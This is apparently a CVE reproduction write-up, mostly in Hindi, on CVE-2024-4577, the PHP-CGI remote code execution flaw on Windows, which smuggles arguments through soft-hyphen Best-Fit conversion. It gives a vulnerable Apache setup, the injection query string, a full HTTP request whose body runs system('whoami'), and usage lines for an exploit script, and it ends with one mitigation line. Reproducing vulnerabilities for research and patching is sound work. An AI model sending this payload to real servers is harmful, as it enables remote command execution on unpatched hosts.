
CVE Reproduction: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 विंडोज पर PHP के CGI कार्यान्वयन में एक गंभीर रिमोट कोड निष्पादन भेद्यता है। यह मूल CVE-2012-1823 के फिक्स को बायपास करता है, विंडोज "Best-Fit" कोड पेज रूपांतरण का उपयोग करके CGI क्वेरी स्ट्रिंग के माध्यम से कमांड-लाइन आर्गुमेंट्स को तस्करी करता है।
जब PHP एक CGI मॉड्यूल (php-cgi.exe) के रूप में चलता है, तो यह क्वेरी स्ट्रिंग को कमांड-लाइन आर्गुमेंट के रूप में पार्स करता है। CVE-2012-1823 के मूल फिक्स ने आर्गुमेंट इंजेक्शन को रोकने के लिए - (हाइफन, 0x2D) कैरेक्टर को ब्लॉक कर दिया था। हालांकि, कुछ कोड पेजों (जैसे चीनी, जापानी, कोरियाई) का उपयोग करने वाले विंडोज सिस्टम पर, "Best-Fit" कैरेक्टर मैपिंग सुविधा विशिष्ट यूनिकोड कैरेक्टर को उनके निकटतम ASCII समकक्षों में परिवर्तित करती है।
मुख्य बायपास सॉफ्ट-हाइफन कैरेक्टर (0xAD / U+00AD) का उपयोग करता है। जब कोई अनुरोध क्वेरी स्ट्रिंग में %AD पास करता है और सर्वर का लोकेल "Best-Fit" कोड पेज का उपयोग करता है, तो विंडोज आंतरिक रूप से 0xAD को 0x2D (हाइफन) में परिवर्तित करता है, जिससे हमलावर फिल्टर के बावजूद PHP आर्गुमेंट इंजेक्ट कर सकता है।
उदाहरण: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input बन जाता है -d allow_url_include=1 -d auto_prepend_file=php://input
कॉन्फ़िगरेशन आवश्यकताएँ:
php-cgi.exe के साथ CGI के रूप में चल रहा होmod_cgi या mod_cgid के साथ कॉन्फ़िगर होScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
तैयार किया गया पेलोड क्वेरी स्ट्रिंग के माध्यम से PHP कॉन्फ़िगरेशन निर्देशों को इंजेक्ट करता है:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe के अनुरोधों को ब्लॉक करने के लिए IIS या Apache रीराइट नियम लागू करें